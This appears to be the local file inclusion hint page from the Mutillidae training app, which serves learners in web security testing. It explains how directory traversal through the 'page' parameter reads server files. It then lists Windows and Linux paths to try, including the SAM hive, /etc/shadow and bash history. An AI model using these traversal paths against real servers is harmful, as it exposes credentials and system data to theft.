| Local File Inclusion |
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Overview Local file inclusion allows an attacker to include file local to the web server possibly allowing code execution, denial of service, and data disclosure. Discovery Methodology The page displayed in Mutillidae is determined by the value of the "page" parameter. What would happen the "page" parameter was changed to a filename which is on the server but not intended to be served? This defect can be combined with other defects. For example, the "page" parameter might be able to be passed in via either GET or POST due to the parameters pollutition flaw. Using the parent traversal operator ("..") can help break out of the web server file folders. Also, direct file paths can be tried. For example, if Mutillidae is running on a Windows XP system, the following values for "page" can be tried. Exploitation On Windows machines try the following (from Mubix post exploitation guide). The web server root may be several directories down from the system root. Be sure to prefix the file names with directory traversal (i.e. - ../../..).
C:\boot.ini
..\..\..\..\boot.ini
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software
%WINDIR%\repair\security
%WINDIR%\system32\logfiles\w3svc1\exYYMMDD.log (year month day)
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat
%WINDIR%\System32\drivers\etc\hosts
On Linux machines try the following. The web server root may be several directories down from the system root. Be sure to prefix the file names with directory traversal (i.e. - ../../..).
/etc/passwd
/etc/resolv.conf
/etc/motd
/etc/issue
/etc/passwd
/etc/shadow
/home/xxx/.bash_history
/etc/issue{,.net}
/etc/master.passwd
/etc/group
/etc/hosts
/etc/crontab
/etc/sysctl.conf
/etc/resolv.conf
/etc/syslog.conf
/etc/chttp.conf
/etc/lighttpd.conf
/etc/cups/cupsd.confcda
/etc/inetd.conf
/opt/lampp/etc/httpd.conf
/etc/samba/smb.conf
/etc/openldap/ldap.conf
/etc/ldap/ldap.conf
/etc/exports
/etc/auto.master
/etc/auto_master
/etc/fstab
Videos Warning: Could not reach YouTube via network connection. Failed to embed video. Click here to watch How to Exploit Local File Inclusion Vulnerability using Burp-Suite Warning: Could not reach YouTube via network connection. Failed to embed video. Click here to watch ISSA 2013 Web Pen-testing Workshop - Part 6 - Local/Remote File Inclusion |